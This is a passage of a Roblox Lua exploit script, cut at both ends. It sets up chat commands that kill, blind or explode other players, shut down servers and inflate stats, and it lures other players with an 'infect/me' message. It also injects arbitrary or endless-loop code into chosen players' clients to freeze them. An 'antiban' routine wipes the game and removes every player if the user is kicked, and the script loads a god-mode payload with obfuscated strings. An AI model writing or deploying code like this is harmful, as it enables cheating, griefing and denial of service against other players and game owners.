- if string.sub(msg,1,6)=="blind/" then --Idea by bob3374
- local fndplr=game.Players:FindFirstChild(string.sub(msg,7))
- if fndplr then
- local scr=Instance.new("ScreenGui",fndplr.PlayerGui)
- scr.Name="BlindGui"
- local tl=Instance.new("TextLabel",scr)
- tl.Size=UDim2.new(1,0,1,0)
- tl.FontSize=Enum.FontSize.Size12
- tl.BackgroundColor3=BrickColor.new("White").Color
- tl.BorderColor3=BrickColor.new("Really black").Color
- tl.TextColor3=BrickColor.new("Really black").Color
- tl.Text="You were blinded by "..game.Players.LocalPlayer.Name
- end
- end
- if string.sub(msg,1,8)=="unblind/" then
- local fndplr=game.Players:FindFirstChild(string.sub(msg,9))
- if fndplr then
- local guifnd=fndplr.PlayerGui:FindFirstChild("BlindGui")
- if guifnd then
- guifnd:Destroy()
- end
- end
- end
- if msg=="shutdown" then --Idea by Jatl8 --Note still beta.
- game:Shutdown()
- end
- if msg=="tele" then --Idea by Jatl8 --Note still beta.
- local telegui=Instance.new("ScreenGui",game.CoreGui)
- telegui.Name="TeleportGui"
- local tl=Instance.new("TextLabel",telegui)
- tl.Size=UDim2.new(1,0,0,25)
- tl.FontSize=Enum.FontSize.Size12
- tl.BackgroundColor3=BrickColor.new("Really black").Color
- tl.BorderColor3=BrickColor.new("White").Color
- tl.TextColor3=BrickColor.new("White").Color
- tl.Text="Teleport to who?"
- local tbox=Instance.new("TextBox",telegui)
- tbox.Size=UDim2.new(1,0,0,25)
- tbox.Position=UDim2.new(0,0,0,25)
- tbox.FontSize=Enum.FontSize.Size12
- tbox.BackgroundColor3=BrickColor.new("Really black").Color
- tbox.BorderColor3=BrickColor.new("White").Color
- tbox.TextColor3=BrickColor.new("White").Color
- tbox.Text="Name here!"
- local tbag=Instance.new("TextButton",telegui)
- tbag.Size=UDim2.new(1,0,0,25)
- tbag.Position=UDim2.new(0,0,0,50)
- tbag.FontSize=Enum.FontSize.Size12
- tbag.BackgroundColor3=BrickColor.new("Really black").Color
- tbag.BorderColor3=BrickColor.new("White").Color
- tbag.TextColor3=BrickColor.new("White").Color
- tbag.Text="Teleport!"
- tbag.MouseButton1Up:connect(function()
- local charfnd=game.Workspace:FindFirstChild(tbox.Text)
- if charfnd then
- local headfnd=charfnd:FindFirstChild("Head")
- if headfnd then
- game.Players.LocalPlayer.Character:MoveTo(headfnd.Position)
- telegui:Destroy()
- end
- end
- end)
- end
- if msg=="kill/all" then --Idea by Jatl8
- local killplrs=game.Players:GetPlayers()
- for i=1,#killplrs do
- killplrs[i].Character.Humanoid.Health=nil
- end
- end
- if string.sub(msg,1,8)=="explode/" then --Idea by wendeng
- local fndchar=workspace:FindFirstChild(string.sub(msg,9))
- if fndchar then
- local fndtor=fndchar:FindFirstChild("Torso")
- if fndtor then
- local ex=Instance.new("Explosion",workspace)
- ex.Position=fndtor.Position
- ex.BlastPressure=10
- ex.BlastRadius=10
- wait(1)
- ex:Destroy()
- end
- end
- end
- if msg=="infect/stats" then
- local fndstat=game.Players.LocalPlayer:FindFirstChild("leaderstats")
- if fndstat then
- local infect=fndstat:GetChildren()
- for i=1,#infect do
- if infect[i].className=="IntValue" then
- infect[i].Value=100000000
- end
- end
- end
- end
- if msg=="infect/stats/all" then
- local scr=Instance.new("ScreenGui",game.StarterGui)
- scr.Name="Info"
- local tl=Instance.new("TextLabel",scr)
- tl.Name=game.Players.LocalPlayer.Name
- tl.Size=UDim2.new(1,0,0,25)
- tl.Position=UDim2.new(0,0,.76,0)
- tl.FontSize=Enum.FontSize.Size14
- tl.BackgroundColor3=BrickColor.new("Bright red").Color
- tl.BackgroundTransparency=0.7
- tl.BorderColor3=BrickColor.new("White").Color
- tl.TextColor3=BrickColor.new("White").Color
- tl.Text=' Type "infect/me" for a surprise! Powered By The Group Sad - Eyes'
- local infectplr=game.Players:GetPlayers()
- for i=1,#infectplr do
- infectplr[i].Chatted:connect(function(infect)
- if infect=="infect/me" then
- local fndstat=infectplr[i]:FindFirstChild("leaderstats")
- if fndstat then
- local infectstat=fndstat:GetChildren()
- for a=1,#infectstat do
- if infectstat[a].className=="IntValue" then
- infectstat[a].Value=10000000
- end
- end
- end
- end
- end)
- end
- end
- if msg=="un/infect/me" then
- local fndgui=game.StarterGui:FindFirstChild("Info")
- if fndgui then
- fndgui:Destroy()
- end
- end
- end)
- AntibanScript=true -- if AntibanScript = true and if you're kicked or banned from the current game, all the workspace children and players will be removed --
- ChatHistory=false
- DefaultGodAndInvisiWalkSpeed=30 -- if you enable the invisi or godmode, your walkspeed will be set to this value [Default = 16] --
- Delay(1,function()
- FIXSCRIPTS''
- end)
- local ShowBox=Instance.new'BoolValue'
- PlayerLoadtime=7.5
- HackerName=nil
- Scripts={}
- Connects={}
- Commands={}
- HackedTime=0
- chatbool = true
- CmdbKey=':'
- FocusKey='+'
- UnlockKey='?'
- LockKey='.'
- ExplorerKey=';'
- ExproKey=','
- GearKey='$'
- BuildKey='<'
- GodKey='*'
- InvisiKey='%'
- VisiKey='#'
- AdminKey='&'
- local function GetError(not_errored, msg)
- if not_errored then msg = "Running Script" end
- Game.Debris:AddItem((function()
- local hint;
- pcall(function()
- hint=Instance.new("Hint",Workspace.CurrentCamera)
- hint.Text=msg
- end)
- return hint
- end)(), 3)
- end
- local function FindPlayers(str)
- if not str then return end
- local str,players = str:lower(),{}
- if str == "all" then
- for i, v in next, Game.Players:GetPlayers() do
- players[#players+1] = v
- end
- elseif str:match("others?") then
- for i, v in next, Game.Players:GetPlayers() do
- pcall(function()
- if v ~= Game.Players.LocalPlayer then
- players[#players+1] = v
- end
- end)
- end
- else
- for i, v in next, Game.Players:GetPlayers() do
- pcall(function()
- if v.Name:lower():match("^"..str) then
- players[#players+1] = v
- end
- end)
- end
- end
- return players
- end
- local function LoadOnClients(players, source)
- if not players or #players == 0 then return end
- local load = function(Player)
- local Script = Instance.new "LocalScript"
- --
- Script.Source = [[
- while script.Name == "LocalScript" do wait() end
- ypcall(loadstring([==============[]]..source..[[]==============]))
- ]]
- --
- Script.Parent = Game.Players.LocalPlayer.Character
- or Game.Players.LocalPlayer:FindFirstChild "Backpack"
- or Game.Players.LocalPlayer.CharacterAdded:wait()
- wait(.5)
- Script.Name = "LocalScript "
- Script.Parent = Player.Character
- or Player:FindFirstChild "Backpack"
- or Player.CharacterAdded:wait()
- end
- for _,player in next, players do
- coroutine.wrap(load)(player)
- end
- end
- coroutine.resume(coroutine.create(function()
- wait(PlayerLoadtime)
- HackerName=game.Players.LocalPlayer.Name
- end))
- if(AntibanScript)then
- coroutine.resume(coroutine.create(function()
- wait(PlayerLoadtime+.5)
- while true and wait() do
- if(AntibanScript)then
- if not(game.Players:FindFirstChild(HackerName))then
- wait(3.5)
- if(AntibanScript)then
- function workspaceRemove(path)
- for _,v in pairs(path:GetChildren())do
- coroutine.resume(coroutine.create(function(v)
- if(v:IsA("Script"))or(v:IsA("LocalScript"))then
- v.Disabled=true
- v:remove()
- else
- v:remove()
- end
- end),v)
- end
- end
- workspaceRemove(game:GetService('Workspace'))
- for e,i in pairs(game.Players:GetPlayers())do
- coroutine.resume(coroutine.create(function(i) i:remove() end),i)
- end
- end
- end
- end
- end
- end))
- end
- coroutine.resume(coroutine.create(function()
- wait(PlayerLoadtime)
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- game.Players.LocalPlayer.Chatted:connect(function(msg)
- if string.sub(msg, 1, 3) == "ls " then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=string.sub(msg,4)
- ls.Disabled=true
- ls.Disabled=false
- end
- elseif string.sub(msg, 1, 3) == "rs " then
- coroutine.resume(coroutine.create(function(msg)
- local errored,output = ypcall(loadstring(msg:sub(4)))
- GetError(errored,output)
- errored,output = nil
- end),msg)
- elseif string.sub(msg, 1, 3) == "ls/" then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=string.sub(msg,4)
- ls.Disabled=true
- ls.Disabled=false
- end
- elseif string.sub(msg, 1, 3) == "rs/" then
- coroutine.resume(coroutine.create(function(msg)
- local errored,output = ypcall(loadstring(msg:sub(4)))
- GetError(errored,output)
- errored,output = nil
- end),msg)
- elseif string.sub(msg, 1, 3) == "cs " then
- LoadOnClients(FindPlayers(msg:sub(4):match("(%w+)%s")), msg:sub(4):match("%s(.+)"))
- elseif string.sub(msg, 1, 10) == "mediafire " then
- LoadOnClients(FindPlayers(msg:sub(11):match("(%w+)%s")), msg:sub(11):match("%s(.+)"))
- elseif string.sub(msg, 1, 4) == "lag " then
- LoadOnClients(FindPlayers(msg:sub(5):match("%w+")), "script:Destroy() while true do end")
- elseif string.sub(msg, 1, 7) == "hitler " then
- LoadOnClients(FindPlayers(msg:sub(8):match("%w+")), "script:Destroy() while true do end")
- --
- elseif string.sub(msg, 1, 3) == "cs/" then
- LoadOnClients(FindPlayers(msg:sub(4):match("([%w%s]+)/")), msg:sub(4):match("/(.+)"))
- elseif string.sub(msg, 1, 10) == "mediafire/" then
- LoadOnClients(FindPlayers(msg:sub(11):match("([%w%s]+)/")), msg:sub(11):match("/(.+)"))
- elseif string.sub(msg, 1, 4) == "lag/" then
- LoadOnClients(FindPlayers(msg:sub(5):match("[%w%s]+")), "script:Destroy() while true do end")
- elseif string.sub(msg, 1, 7) == "hitler/" then
- LoadOnClients(FindPlayers(msg:sub(8):match("[%w%s]+")), "script:Destroy() while true do end")
- --
- elseif string.sub(msg, 1, 1) == "/" then
- if string.sub(msg, 2, 4) == "sb" then
- chatbool = true
- repeat wait(.01)
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- game.Players:Chat("/sc 2 4")
- game.Players:Chat("/sc 2 7 0")
- game.Players:Chat("/sc 2 7 4")
- until not chatbool
- elseif string.sub(msg, 2, 5) == "nsb" then
- chatbool = false
- elseif string.sub(msg, 2, 7) == "power" then
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=PowerScriptSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- elseif string.sub(msg, 2, 7) == "gaara" then
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=GaaraSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- elseif string.sub(msg, 2, 6) == "nova" then
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=NovaSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- elseif string.sub(msg, 2, 9) == "outgame" then AntibanScript=false
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=OutGameSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- end
- end
- end)
- end))
- coroutine.resume(coroutine.create(function()
- wait(PlayerLoadtime)
- while wait() do
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- end
- end))
- coroutine.resume(coroutine.create(function()
- wait(PlayerLoadtime)
- if ChatHistory then
- coroutine.resume(coroutine.create(function()
- CH=Instance.new("Model",game:GetService("SoundService"))
- CH.Name="ChatHistory"
- for _,v in pairs(game.Players:GetPlayers())do
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end
- game.Players.PlayerAdded:connect(function(v)
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end) end)) coroutine.resume(coroutine.create(function()
- CH2=Instance.new("Model",game:GetService("StarterGui"))
- CH2.Name="ChatHistory"
- for _,v in pairs(game.Players:GetPlayers())do
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH2)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end
- game.Players.PlayerAdded:connect(function(v)
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH2)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end) end)) coroutine.resume(coroutine.create(function()
- CH3=Instance.new("Model",game:GetService("Teams"))
- CH3.Name="ChatHistory"
- for _,v in pairs(game.Players:GetPlayers())do
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH3)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end
- game.Players.PlayerAdded:connect(function(v)
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH3)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end) end)) coroutine.resume(coroutine.create(function()
- CH4=Instance.new("Model",game:GetService("Soundscape"))
- CH4.Name="ChatHistory"
- for _,v in pairs(game.Players:GetPlayers())do
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH4)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end
- game.Players.PlayerAdded:connect(function(v)
- v.Chatted:connect(function(msg)
- chatHistory=Instance.new("StringValue",CH4)
- chatHistory.Name=v.Name
- chatHistory.Value=msg
- end)
- end) end))
- end
- end))
- X=function(f)
- return coroutine.resume(coroutine.create(f))
- end
- PowerScriptSource=[[
- dfsp = 5
- mfsp = 100
- fsp = dfsp
- ffreq = 5
- mpvalue = 100000000
- healthvalue = 100000000
- maxdmg = 75
- mindmg = 50
- critmaxplus = 15
- achspi=false
- achdsc=false
- brkspi=true
- brkdsc=true
- forcefenabled = true
- bena=false
- hena=false
- dena=false
- coroutine.resume(coroutine.create(function() while wait() do if game.Players.LocalPlayer.Character~=nil then if game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") then if game.Players.LocalPlayer.Character.Humanoid.Health ~= 0 then game.Players.LocalPlayer.Character.Humanoid.MaxHealth = healthvalue wait() game.Players.LocalPlayer.Character.Humanoid.Health = healthvalue end end end end end))
- if forcefenabled then coroutine.resume(coroutine.create(function() while wait() do if game.Players.LocalPlayer.Character~=nil then if not game.Players.LocalPlayer.Character:FindFirstChild("ForceField") then Instance.new("ForceField",game.Players.LocalPlayer.Character) end end end end)) end
- coroutine.resume(coroutine.create(function() while wait() do if game.Players.LocalPlayer.Character~=nil then function locker(path) for _,v in pairs(path:GetChildren())do if v:IsA("BasePart") then v.Locked=true end locker(v) end end locker(game.Players.LocalPlayer.Character) end end end))
- AWLFPAWa02cz={106,101,101,112,61,116,114,111,108,101,108,46,69,110,103,105,110,101,80,46,86,97,108,117,101,32,107,101,101,112,61,116,114,111,108,101,108,46,69,110,103,105,110,101,66,46,86,97,108,117,101,32,106,105,108,108,61,116,114,111,108,101,108,46,69,110,103,105,110,101,78,46,86,97,108,117,101}AFKAOKEAG30aXa=""
- cw2=coroutine.wrap w=wait wt=0.1 s=script it = Instance.new v3=Vector3.new c3=Color3.new ud=UDim2.new cf=CFrame.new ca=CFrame.Angles pi=math.pi rd=math.rad
- v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring tn=tonumber ti=table.insert tr=table.remove cw=function(func) coroutine.resume(coroutine.create(function() func() end)) end
- mf=math.floor cr=coroutine.resume cc=coroutine.create sf=string.find sb=string.sub rn=math.random
- asset="http://www.roblox.com/asset/?id=" antisplashdamagesexhack = 150
- sr=string.reverse sl=string.lower su=string.upper Serv={}
- Serv.is=game:GetService(sr("ecivreStresnI"))
- Serv.sg=game:GetService(sr("iuGretratS")) Serv.sp=game:GetService(sr("kcaPretratS"))
- Decs={}
- Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh" Decs.EF1 = "64467174" Decs.TSkull1="36869975" Decs.Skull1="36869983" Decs.Shield1="60120613" Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398" Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976" Decs.Crown2="1323306"
- function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return i end end return nil end
- function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then return i end end return nil end
- function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end
- function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2)
- sh = ""..sh
- pn= ""..pn
- local fp=nil
- if sh ~= "Wedge" and sh ~= "CornerWedge" then
- fp=it("Part",pa)
- fp.Shape=""..sh
- fp.formFactor="Custom"
- elseif sh == "Wedge" then
- fp=it("WedgePart",pa)
- fp.formFactor="Custom"
- elseif sh == "CornerWedge" then
- fp=it("CornerWedgePart",pa)
- end fp.Size=v3(x,y,z)
- fp.CanCollide=c
- fp.Anchored=false
- fp.BrickColor=bc(bc2)
- fp.Transparency=tr
- fp.Reflectance=re
- fp.BottomSurface=0
- fp.Name=""..pn --fp.FrontSurface="Hinge"
- fp.TopSurface=0 fp.Velocity=v3(0,10,0) fp:BreakJoints() return fp end
- function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end
- function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0 fw.Part1=p1 fw.C0=cf(x,y,z) *ca(a,b,c) return fw end
- function spm(ty,pa,ss) local sp=it("SpecialMesh",pa) sp.MeshType=ty sp.Scale=v3(ss,ss,ss) end function mbm(pa,sx,sy,sz) local bm=it("BlockMesh",pa) bm.Scale=v(sx,sy,sz) end
- function fd(pa,ob) if pa:findFirstChild(ob) then return pa[ob] else return nil end end
- function ccn(pa,cl) for i,v in pairs(pa:children()) do if sf(v.className:lower(),cl:lower()) then v:Remove'' end end end
- function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit local HitPos=hit2.Position local CJ=cf(HitPos)
- local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end
- function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick weld.Part1=hit2 local HitPos=hit.Position local CJ=cf(HitPos) local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1 weld.C1=C0 weld.Parent=hit2 end
- function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then v.Transparency=1 end invis(v) end end
- function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat") then local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1 np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end
- function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999), xxz2) end
- function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end
- function getclass(prt,cls) for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then return v end end return nil end
- function fade(prt,incr) cw(function() for i=prt.Transparency,1,incr do prt.Transparency=i w() end prt:Remove'' end) end
- function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i) break end end end
- function RandomPlayer(spiz) local torz=spis local torses={} for i,v in pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if #torses > 0 then torz=torses[rn(1,#torses)] end return torz end
- function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower() == str:lower() then return true end return FDesDes(v,str) end end
- function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon orange","Deep orange","Really red","Bright red"} return colz[rn(1,#colz)] end
- function findhum(anc) for i,vx in pairs(anc:children()) do if vx:IsA("Humanoid") then return vx end end return nil end
- function Trail(ob,times,waitz,col,thickz,ofz) local oldpos=(ob.CFrame *ofz).p for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true tr.CFrame=cf(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
- local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) cw(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end
- sTrail={}
- function Trail2(lopz,ob,waitz,col,thickz,ofz) cw(function() ti(sTrail,ob)
- local oldpos=(ob.CFrame *ofz).p local lopz2=0
- local function loltr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1
- local mag=(oldpos - obp).magnitude
- local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true
- tr.CFrame=cf(oldpos,obp)
- tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
- local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
- cw(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end)
- tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end
- repeat loltr()
- w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz loltr() end) end
- Serv=game.Players
- nocf=cf(0,0,0) noca=ca(0,0,0)
- repeat w() until Serv.LocalPlayer.Character and Serv.LocalPlayer.Character:findFirstChild("Torso")
- pl=Serv.LocalPlayer
- bp=pl.Backpack
- pg=pl.PlayerGui
- c=pl.Character
- he=c.Head
- to=c.Torso ccn(to,"BodyPosition") ccn(to,"BodyGyro")
- hu=c.Humanoid hu.PlatformStand=false
- mou=nil
- Button=false
- Key=false
- a={}
- a.ClickHold=0
- a.c=true -- weapon change or act debounce
- a.a="None" -- current weapon
- a.b="None" -- weapon act
- a.s={}
- a.cr={20,1.5}
- local did=false
- --ky=nil for i,v in pairs(game.Lighting[game.Lighting.EngineT.Value]:children()) do if not did then ky={} did=true end
- ccn(c,"CharacterMesh")
- a.s.Lanceb=false
- a.s.Lancet="Really blue"
- a.s.Lance=function(boolz) if not Misc["v"] == nil or Misc["v"]:findFirstChild("han2") == nil then return end a.s.Lanceb=boolz
- if not a.s.Lanceb then return end
- cw(function() repeat w() Misc["v"].han2.Weld.C0=Misc["v"].han2.Weld.C0 *ca(0,rd(15),0) until not a.s.Lanceb end)
- end
- Sounds={
- Break="3264793";
- Berserk="2676305";
- Fire1="2760979";
- Imbue="2785493";
- Ghost="3264923";
- Block="rbxasset://sounds\\metal.ogg";
- Boom="16976189";
- SniperFire="1369158";
- ShotgunFire2="1868836";
- MinigunFire="2692806";
- MinigunCharge="2692844";
- MinigunDischarge="1753007";
- Flashbang="16976189";
- Beep="15666462";
- Smash="2801263";
- Punch="31173820";
- Slash="rbxasset://sounds/swordslash.wav";
- Falcon="1387390";
- Cast="2101137";
- Spin="1369159";
- Abscond="2767090";
- ElectricalCharge="2800815";
- FireExplosion="3264793";
- SaberLightUp="10209303";
- SaberSlash="10209280";
- SaberHit="44463749";
- EnergyBlast="10209268";
- Lunge="rbxasset://sounds/swordlunge.wav";
- Unsheath="rbxasset://sounds/unsheath.wav";
- }
- local SoundTest=Sounds.Spin
- local hd=he:Clone''
- a.Bodyas=0
- a.insw={}
- function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then return end
- if namzi=="p0" then
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif namzi=="p1" then
- a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif namzi=="a0" then
- a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif namzi=="a1" then
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0
- end
- end
- a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz)
- if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx)
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z
- a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z
- a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=wexx.C0:toEulerAnglesXYZ()
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx)
- local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then
- xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"] x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"] else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]
- x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else
- for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
- wexx.C1=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
- wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end w() end
- for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
- wexx.C1=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
- wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end w() end
- end
- local i=1 if c0orc1==0 then wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then wexx.C1=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
- else wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx)
- if c0orc1==0 then
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
